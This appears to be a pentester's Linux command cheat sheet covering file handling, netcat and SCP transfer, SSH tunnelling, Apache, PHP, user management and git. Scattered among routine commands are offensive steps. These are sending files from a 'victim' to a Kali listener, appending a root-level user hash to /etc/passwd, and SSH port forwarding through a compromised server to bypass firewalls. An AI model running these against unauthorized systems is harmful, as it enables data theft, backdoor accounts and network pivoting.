File Processing and transfer

less command

Used to show first few lines of a file with the ability to keep viewing using the [space] button. Searching inside the file with less can be done by typing [/] followed by the [keyword] then [ENTER].

Opening a dashed file

Sometimes you may see a file that starts with [-] in its name. In order to open these files you have to specify its full path. Say the file name is [-file] then we display its content in the following manner

```
cat ./-file
```

As you can see, we added [./] before the file. If the file was located somewhere then we type its full path

```
cat /home/motasem/-file
```

Another way is to use the [<] operator

```
cat <-file
```

Sorting and removing duplicates

Say we have a file full of content in string format. if we want to sort the content alphabetically and remove duplicates we would throw the below command

```
sort [file.txt] | uniq -u
```

Grep

grep is a useful tool for content extraction and supports regular expression.

Scenarios

searching for a specific string

A simple example would be grepping a text string [hello] from a file

```
cat file.txt | grep hello
```

Searching for a string case-sensitive

```
cat file.txt | grep -i 'hello'
```

searching to match only spefici string

This will search and display lines containing the word [hello] as a whole and won't display lines where [hello] is part of a phrase such as [hello world]

```
cat file.txt | grep -w 'hello'
```

searching for lines that don't contain a given word

This will match all lines that don't contain the word [hello]

```
grep -v 'hello' file.txt
```

saving the output to a text file

```
grep 'hello' file.txt > matches.txt
```

Searching recursively

Recusrively means searching in all directories and sub-directories for the word [hello]

```
grep -R 'hello' [directory]
```

counting the number of times a word is mentioned

[-n] will precede each line with its number in the file.
[-c] is used to display the number of times [hello] is mentioed in the file.

```
grep -n -c 'hello' file.txt
```

grepping all lines that start with a specific pattern

In the below example, we display all lines that start with the letter [h]

```
cat file.txt | grep '^h'
```

The find command

find the file.txt in the current directory

```
find . -name file.txt
```

Search all directories and find directory named [config]

```
find / -type d -name config
```

search in all directories for files have '777' permissions

```
find / -type f -perm 0777
```

find executable files

```
find / -perm a=x
```

find all files under admin in home directory

```
find /home -user admin
```

find files modified in the last 10 days

```
find / -mtime 10
```

find files accessed in the last 10 days

```
find / -atime 10
```

search for a file modified with exact or after time given in yyyy-mm-dd

```
find / -type f -newermt 2021-09-11 ! -
newermt 2021-09-13**
```

find files with 50MB size

```
find / -size 50M
```

find executable files

```
find / -type f -executable
```

Search for base64 content in php files

```
find . -type f -name "*.php" -exec grep -Ei
"[a-z0-9/=]{50,}" {} /dev/null \;
```

File Transfer with SSH

Refer to the SSH operations section in this document

File Transfer with Netcat

Netcat can be used to send and receive files in the same fashion of upload and download.
First, the sender needs to issue the below command

```
nc [destination-ip] [destination-port] <
file.txt
```

Second, the receiver will need to issue the below command to recieve the file

```
nc -lvp [destination-port] > file.txt
```

Working with Tar Command

Compressing a directory

```
root@Red-hat:~$:tar -zcvf archive-name.tar.gz directory-name
root@Red-hat:~$:gzip dirctory
```

Compressing files

```
root@Red-hat:~$:tar -cvf archive-name.tar.gz file-paths-space-separated
root@Red-hat:~$:gzip file-paths-space-separated
```

Appending files to a tarball

```
root@Red-hat:~$:tar -rvf archive-name.tar.gz file-path
```

Listing files included in the tarball

```
root@Red-hat:~$:tar -tvf archive-name.tar.gz
```

Extracting Files

```
root@Red-hat:~$:tar -zxvf prog-1-jan-
2005.tar.gz
root@Red-hat:~$:gunzip directory
```

Extracting single file

```
root@Red-hat:~$:tar -zxf prog-1-jan-
2005.tar.gz etc/filename
```

Zipping a file

```
root@Red-hat:~$:sudo zip plugin-shell.zip
plugin-shell.php
```

Creating hex dump of any file

```
root@Red-hat:~$:xxd -p file.exe | tr -d '\n'
file.exe.hex
```

Compiling a shared object for MYSQL server with gcc: from C/C++ file to shared object.

```
root@Red-hat:~$: gcc -Wall -
I/usr/include/mysql -I. -shared filename.c -
```

```
o $(LIBDIR)/filename.so
```

Compiling a shared object for MariaDB server with gcc: from C/C++ file to shared object.

```
root@Red-hat:~$:gcc -Wall -
I/usr/include/mysql -I. -shared filename.c -
o $(LIBDIR)/filename.so
```

Replacing words in a file

```
root@Red-hat:~$: sed 's/Blackhat/Defcon/'
myfile
```

Cross Compile a file on Linux

```
root@kali:~$i686-w64-mingw32-gcc adduser.c -
o adduser.exe
```

Convert base64 zip file into its original form

```
root@kali:~$cat data.txt | base64 -d >
documents.zip*
```

File Transfer with Netcat

On kali, setup a listner

```
root@kali:nc -lvp 444 > [filename.txt]
```

on the victim ssh

```
root@kali:nc -w 3 [kali ip] [port] <
[filename.txt]
```

Counting words,lines and characters

```
root@Red-hat:~$: wc /etc/password
85 294 2078 /etc/passwd
```

Sharing files with other machines

smbserver.py

creating directory and copying a test file to it.

```
root@kali# mkdir smb
root@kali# cp /home/user/desktop/file.txt
smb/
```

Starting the smb server specifying the share name and directory where files are hosted

```
smbserver.py share smb
```

Retriving files from this share can be done on other machines with below command

```
\\serverip\share\file.txt
```

Process and Network Managment

Displaying running processes

```
ps -aux
ps -ef
```

Killing a process

```
sudo kill -9 PID
-9: forefully
```

Finding the process PID listening on specific port

```
sudo lsof -t -i:8000
```

Displaying active connections with processes PID

```
root@Red-hat:~$:sudo ss -antlp
```

Adding entry to the host file

```
root@Red-hat:~$:sudo bash -c " echo
‘10.11.1.250 sandbox.local’ >> /etc/hosts".
```

Adding a static IP Address

```
root@Red-hat:~$:nano /etc/network/interfaces
```

Paste the following

```
auto eth0
iface eth0 inet static ❶
address 192.168.20.9
netmask 255.255.255.0 ❷
gateway 192.168.20.1 ❸
```

Assigning a dynamic IP via DHCP

In /etc/network/interfaces, add the following:

```
iface eth0 inet dhcp
```

Configure network services to use proxy

In /etc/bash/bashrc, enter the following to the bottom of the file

```
export
ftp_proxy="ftp://username:password@proxyIP:p
ort"
export
http_proxy="http://username:password@proxyIP
:port"
export
https_proxy="https://username:password@proxy
IP:port"
export
socks_proxy="https://username:password@proxy
IP:port"
```

Changing smb password

```
root@Red-hat:~$:root@kali:mbpasswd -r
domain.com -U tlavel
```

Old SMB password:
New SMB password:

Retype new SMB password:
Password changed for user tlavel on domain.com.

Logging in to a RDP-enabled windows server given the credentials

```
root@kali:~$xfreerdp /d:[domain-controller-name] /u:[username] /v:10.5.5.20 +clipboard
```

Logging in via RDP with out supplementing domain name

```
root@kali:~$:xfreerdp /u:[username] /v:10.5.5.20 +clipboard
```

Package Management

Installing kept-packages

```
root@Red-hat:~$:sudo apt-get --with-new-pkgs upgrade
```

or-be-cautious with this one below as it may remove some packages to install dependencies

```
root@Red-hat:~$:sudo apt-get dist-upgrade
```

Updating available packages

```
root@Red-hat:~$:Sudo apt update
```

Upgrading the core system and available packages to latest version

```
root@Red-hat:~$:Sudo apt upgrade
```

Directory operations

Creating a directory and multiple sub-directories at once

```
root@Red-hat:~$:mkdir -p
test/{recon,exploit,report}
```

Returning the full path of a file or a directory

```
root@Red-hat:~$:which sbd
```

OR

```
root@Red-hat:~$:locate sbd.exe
```

Web Operations

Installing Free SSL

```
root@Red-hat:~$:sudo add-apt-repository
ppa:certbot/certbot
root@Red-hat:~$:sudo apt install python-
certbot-apache
root@Red-hat:~$:sudo ufw status
root@Red-hat:~$:sudo ufw allow 'Apache Full'
root@Red-hat:~$:sudo ufw delete allow
'Apache'
root@Red-hat:~$:sudo ufw status
root@Red-hat:~$:sudo certbot --apache -d
your_domain -d www.your_domain
root@Red-hat:~$:sudo certbot renew --dry-run
```

Starting python http server

```
root@Red-hat:~$:sudo python3 -m http.server
80
```

Tuning Apache2 for performance using mpm-prefork

Run Apache buddy first to get details about the server and recommendations for apache

```
root@Red-hat:~$:sudo curl -sL
https://raw.githubusercontent.com/richardfor
th/apache2buddy/master/apache2buddy.pl |
sudo perl
```

Then

```
root@Red-hat:~$:sudo nano /etc/apache2/mods-
available/mpm-prefork.conf
```

#Example config for good performance
MaxRequestWorkers must be

```
>=StartServers*ThreadsPerChild
```

Refer to
httpd.apache.org/docs/2.4/mod/worker.html

```
ServerLimit          512
StartServers           2
MaxRequestWorkers    150
MinSpareThreads       25
MaxSpareThreads      150
ThreadsPerChild       25
```

```
MaxConnectionsPerChild 0 [to keep child
procces running and prevent termination]
```

Updating Apache

First we add the required repo

```
curl -sSL
https://packages.sury.org/apache2/README.txt
| sudo bash -x
```

Then issue the below commands

```
sudo apt update
sudo apt install apache2
```

Disk Management

Mounting a drive in linux

List the disks and their drives

```
root@Red-hat:~$:Fdisk -l
root@Red-hat:~$:mkdir /mnt/target1
root@Red-hat:~$:mount /de
```

Resize Disk

Check Disk Size

```
df -h
```

Check Partition

```
lsblk
```

Grow Partition

```
sudo growpart /dev/sda 1
Output
CHANGED: partition=1 start=4096 old:
size=20967424 end=20971520 new:
size=1048571871,end=1048575967
```

Resize File System

```
sudo resize2fs /dev/sda1
Output
resize2fs 1.43.4 (31-Jan-2017)
Filesystem at /dev/sda1 is mounted on /; on-
line resizing required
old_desc_blocks = 2, new_desc_blocks = 63
The filesystem on /dev/sda1 is now 131071483
(4k) blocks long.
```

Resize another way

```
cfdisk /dev/sda/
resize2fs /dev/sda1
```

Mount the resized partition

```
sudo mount /dev/sda1 ~/mountpoint
```

Users Operations

Adding a user

```
root@Red-hat:~$:adduser Motasem
```

Adding a user to the sudoers group

```
root@Red-hat:~$:adduser motasem sudo
```

Adding a user without shell or home directory

This is useful if you want to designate this user for specific tasks such as web server user

```
sudo /usr/sbin/useradd -M -r [user]
```

[-r] creates a system user without login, password or home directory
You can also use the options [--shell=/bin/false] to disable shell for the user.
[--no-create-home] can also be used to disable home directory for the user.

Disable shell for existing user

```
usermod [user] -s /bin/false
```

Remove a user

```
sudo /usr/sbin/deluser [user]
```

Adding privileged user to /etc/passwd/

```
root@kali:~$perl -le 'print
crypt("bulldog2", "aa")'
```

Now,adding the privileged user with the hash from the above command

```
root@kali:~$echo
"motasem:aadiOpWrzh6/U:0:0:motasem:/root:/bi
```

```
n/bash" >> /etc/passwd
```

Cron Jobs

Viewing cron jobs

```
root@Red-hat:~$:ls | grep cron
```

Viewing cron tab

```
root@Red-hat:~$:Nano /etc/crontab
```

Adding cronjob to restart apache and the OS every day at midnight:

```
0 0 * * * service apache2 restart
0 0 * * * /sbin/shutdown -r now
```

Resource Management

Viewing real time consumption of resources in Linux

```
root@Red-hat:~$:top
root@Red-hat:~$:top -i
```

SSH operations

Logging in with private key

```
root@Red-hat:~$:chmod 600 key
root@Red-hat:~$:ssh -i key
user@192.168.2.120
```

Logging in when .bashrc doesn't allow ssh

In some instances, the [.bashrc] file doesn't allow logging in with SSH so in order to bypass this limitation we se the option [-T]

```
ssh -T user@localhost
```

Preventing ssh from attempting to add the host key and to accept it

```
root@Red-hat:~$:ssh -o
"UserKnownHostsFile=/dev/null" -o
"StrictHostKeyChecking=no" kali@10.11.0.4
```

It can be used when dealing with a non-interactive shells during a pentest.

Generating SSH public and private key

```
root@Red-hat:~$:mkdir keys
root@Red-hat:~$:ssh-keygen
```

Your identification has been saved in
[/tmp/keys/id_rsa]
Your public key has been saved in
[/tmp/keys/id_rsa.pub]
Authenticating a machine to SSH server with private key instead of password
After generation the public key on the client machine, copy the content of id_rsa.pub

```
root@Red-hat:~$:Cat id_rsa.pub
root@Red-hat:~$:Echo [content of id_rsa.pub]
>>   /.ssh/authorized_keys
```

Note: If the purpose of this authentication is for the client to do the port forwarding to your kali linux machine during a pentest then we need to add specific restrictions to make this connection only valid for port forwarding without the ability to execute any other commands
Then the public key created at the client machine would look like this

```
command="echo 'This account can only be used
for port forwarding'",
no-agent-forwarding,no-X11-forwarding,no-pty
ssh-rsa ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA
AABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6
pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ
9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23
kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7k
Z1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spO
PlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9x
k87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wb
HbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MD
nin
```

Establishing ssh connection from client to server without executing any commands and sending the connection to the background.

This is useful when if you want to continue working on the host you just compromised and don't want the SSH connection to execute any commands

```
root@Red-hat:~$:ssh -f -N kali@10.11.0.4
```

Copying or uploading a file from local system to another host

```
root@kali:scp test.txt host@172.20.10.8:/opt
```

Copying or downloading a file from remote system to local host

```
root@kali:scp
host@172.20.10.8:/root/Technical-Doc-RHS.odt
/tmp
```

Use -r option when downloading or uploading directories recursively
use -v for verbosity
use -C to enable compression
if ssh is running on different port, specify it with -P [port-number]
use -i [private-key] if the authentication has been done with private key.

SSH Local port forwarding

Connecting to an internal client on port 445 [SMB] directly from the attacking machine and through a compromised

internal server. This command is typed on the attacker machine

```
root@kali:~$sudo ssh -N -L
0.0.0.0:445:192.168.1.110:445
student@10.11.0.128
```

-L: means local forwarding
This command means that any connection regardless of the source address on port 445 will be forwarded to 192.168.1.110 which is the IP of the internal target client and through an SSH tunnel established through the compromised internal server.

Next step is to connect to the target port, in our case its 445, from your kali machine as a local connection.

```
root@kali:~$smbclient -L 127.0.0.1 -U
Administrator
```

SSH Remote Port Forwarding

Configure a SSH tunnel directed to your kali machine to land on the internal client. The exact opposite of SSH local port

forwarding. SSH tunnel will get around the firewall.

On the compromised server type this command

```
root@kali:~$ssh -N -R 10.11.0.4:2221:client-
ip:3306 kali@10.11.0.4
10.11.0.4: Kali IP
```

On your kali machine and depending on the port that is open on the internal client machine, you can interact directly

```
root@kali:~$Nc 127.0.0.1 2221 will connect
you to the mysql server on the internal
client machine
```

SSH Dynamic Port Forwarding

Instead of establishing an SSH tunnel for every host or every port, we use SOCKS4 Proxy on the kali machine to establish dynamic port forwarding that will redirect all incoming traffic to the internal target network through the ssh tunnel established between kali and the compromised server

```
root@kali:~$sudo ssh -N -D 127.0.0.1:8080
server@10.11.0.128
```

On kali machine, editing the configuration file of proxy chains is a necessary requirements for all testing tools to work

```
root@kali:~$cat /etc/proxychains.conf
```

Add

```
socks4 127.0.0.1 8080
```

Then any subsequent command should be prepended with proxychains to work through this tunnel.
Example nmap command

```
root@kali:~$sudo proxychains nmap --top-
ports=20 -sT -Pn 192.168.1.110
```

Backup and Recovery

Copy an entire disk to another

```
root@kali:~$dd if = /dev/sda of = /dev/sdb
```

if: source disk
of: destination disk

backup a Partition

```
<root@kali:~$dd if=/dev/hda1
of=~/partition.img
```

You can specify your target path or image file

create an image of a Hard Disk

```
<root@kali:~$dd if = /dev/hda of =
~/hdadisk.img
```

You can create an image file of the hard disk and save it in other storage devices

restore using the Hard Disk Image

```
<root@kali:~$dd if = hdadisk.img of =
/dev/hdb
```

File Recovery Using Test Disk

Install the utility

```
apt-get install testdisk
which testdisk
```

Then run it

```
sudo testdisk
```

In the next screen, select [create]
Then select the disk from which you want to restore files and select [proceed]
After Testdisk brings you to the prompt where to select the partition, select [undelete]

Troubleshooting

Fixing No space left on device

solution 1

see which processes have opened descriptors to deleted files. You can restart the process and the space will be freed.

```
lsof | grep deleted
```

Or

```
 pushd /proc ; for i in [1-9]* ; do ls -l
$i/fd | grep "(deleted)" && (echo -n "used
by: " ; ps -p $i | grep -v PID ; echo ) ;
done ; popd
```

solution 2

if you are using docker

```
docker system prune
```

Fixing black screen before login

solution 1

1. While system booting menu (Grub) type e to edit the first grub line
2. Find the line that starts with linux and ends with quiet. Add nomodeset after the word quiet.
3. You should be able to boot into the GUI
4. Do an "apt-get update" and "apt-get upgrade" from the command line.
5. Find and install the video drivers for your specific video card.

solution 2

Hold ALT+CTRL+F1 or F2 and login and execute below:

```
Depending on the type of the display
manager:
sudo dpkg-reconfigure gdm3
or
sudo dpkg-reconfigure sddm


sudo reboot
```

solution 3

```
startx
or
service sddm start
or
service gdm3 start
```

solution 4

```
`systemctl stop sddm`
`systemctl disable sddm`
`systemctl enable sddm`
sudo reboot
```

solution 5

```
docker system prune
sudo apt-get install dbus-x11
sudo apt-get install kde-plasma-desktop
```

PHP operations

Upgrade php

Add the following repositories
[1]

```
root@Red-hat:~$:sudo apt -y install lsb-
release apt-transport-https ca-certificates
```

[2]

```
root@Red-hat:~$:sudo wget -O
/etc/apt/trusted.gpg.d/php.gpg
https://packages.sury.org/php/apt.gpg
```

[3]

```
root@Red-hat:~$:sudo apt install software-
properties-common
```

[4]

```
root@Red-hat:~$:sudo add-apt-repository
ppa:ondrej/php
```

or: replaces only the fourth command

```
root@Red-hat:~$:echo "deb
https://packages.sury.org/php/ $(lsb_release
-sc) main" | sudo tee
/etc/apt/sources.list.d/php.list
```

[5]

```
sudo apt update
sudo apt -y install php7.[VERSION-NUMBER]
sudo apt-get install php7.[VERSION-NUMBER]
{bcmath,bz2,intl,gd,mbstring,mysql,zip}
apt install php7.4-fpm
```

Disable the old version and enable the new one

```
sudo a2dismod php7.0
sudo a2enmod php7.4
```

Restart apache

```
Sudo /etc/init.d/apache2 restart
```

Remove old versions

```
Sudo apt purge php7.0 php7.0-common
apt-get autoremove php7.0
```

Install PhpMyAdmin

```
sudo apt-get install phpMyAdmin php-mbstring
php-gettext

sudo ln -s /etc/phpmyadmin/apache.conf
/etc/apache2/conf-available/phpmyadmin.conf

sudo a2enconf phpmyadmin.conf

sudo systemctl restart apache2
```

Installing Zlib Extension

```
apt-get update && apt-get install
libgcrypt11-dev zlib1g-dev
```

Then

```
nano /etc/php.ini
```

Make sure that

```
zlib.output_compression = On
zlib.output_compression_level = 6
```

Upgrade to 8.0

[1]

```
root@Red-hat:~$:sudo apt -y install lsb-
release apt-transport-https ca-certificates
```

[2]

```
root@Red-hat:~$:sudo wget -O
/etc/apt/trusted.gpg.d/php.gpg
https://packages.sury.org/php/apt.gpg
```

[3]

```
root@Red-hat:~$:sudo apt install software-
properties-common
```

[4]

```
root@Red-hat:~$:sudo add-apt-repository
ppa:ondrej/php
```

or: replaces only the fourth command

```
root@Red-hat:~$:echo "deb
https://packages.sury.org/php/ $(lsb_release
-sc) main" | sudo tee
/etc/apt/sources.list.d/php.list
```

Execute the following

```
root@Red-hat:~$:sudo apt update
root@Red-hat:~$:sudo apt install php8.0
libapache2-mod-php8.0
root@Red-hat:~$:sudo systemctl restart
apache2
Integrate with php-fpm
root@Red-hat:~$:sudo apt install php8.0-fpm
libapache2-mod-fcgid
root@Red-hat:~$:sudo a2enmod proxy_fcgi
setenvif
root@Red-hat:~$:sudo a2enconf php8.0-fpm
root@Red-hat:~$:systemctl restart apache2
```

Installing mysql

First we check the php version

```
php -v
```

lets assume it's 7.0 then the next step is executing the below commands

```
apt-get update
apt-get install php7.0-mysql
```

or

```
apt-get update
apt-get install php-mysql
```

Lastly restart apache

```
root@Red-hat:~$:systemctl restart apache2
```

Python operations

Installing impacket library

```
sudo git clone
https://github.com/SecureAuthCorp/impacket.g
it) /opt/impacket

sudo pip3 install -r
/opt/impacket/requirements.txt
```

```
sudo python3 ./setup.py install
```

The Curl command

Downloading files

Downloading a file while specifying the cookie. In this scenario, the file can only be downloaded if the user is logged in and assigned a cookie therefore we use the below command to download the intended file. You can find the values of [cookie-variable] and [cookie-value] using the browser developer tool

```
 curl -s -XGET -b 'cookie-variable=cookie-value' http://domain.com/file.exe
```

Performing uploads to a webserver

Authentication is required with username and password

Uploading files often require authentication.With curl -X [put] is used to upload files, [-T] and to specify file path and [-u] to specify username and password.

```
curl -X PUT -T [path-to-file-to-be-uploaded]
http://domain.com/file.php -u
[username:pass]
```

Authentication is required with a Cookie and CSRF Token

#The [-F] is used to specify form data. Be sure to include other form data in the command with [-F] if the upload form uses more than one field.
#The [u] is the parameters used to control the uploaded files change it according to your scenario.
#The [token] is the CSRF token.
#The [-H] is used to specify the token.

```
curl -X POST -F "u=@file.zip" -F
"token=b6ab6ff4586a56cc35gv64238be8d1f5efd32
4c2dceb7f216c512fdea8b17a5e" -F
"submit=Upload"
-H "Cookie: admin=1;
PHPSESSID=v67bdra1sff97oi3bhpj95m7e4
http://domain.com/?file=upload
```

Performing POST requests

```
curl http://domain.com -X POST
```

Changing user agent

```
curl http://domain.com -A [desired-
useragent]
```

Working with GIT Repos

Cloning a repo

```
git clone [url]
```

Viewing history of commits

```
git log
```

We can also use the option [-p] to show the differences introduced in each commit

Viewing the repo branches

```
git branch -r
```

choosing a branch

After listing the branch names from the above commands, we can then checkout the selected branch with the command below

```
git checkout [branch-name]
```

Then we can issue the below command again

```
git branch
```

Viewing tagged history items

```
git tag
```

If there are tagged specific tag points it will show up in the output. You can then view its content with the command below

```
git show [tag-name]
```

pushing files to a repo

First we login to the repo using [ssh] if available then we retrieve the available branches.
We create the file

```
touch file.txt
```

We make sure there is no [.gitignore] as it may cause errors

```
rm .gitignore
```

We upload the file

```
git add file.txt
```

We commit the changes

```
git commit -m "put whatever you like here"
```

Lastly we make the push to origins

```
git push origin master
```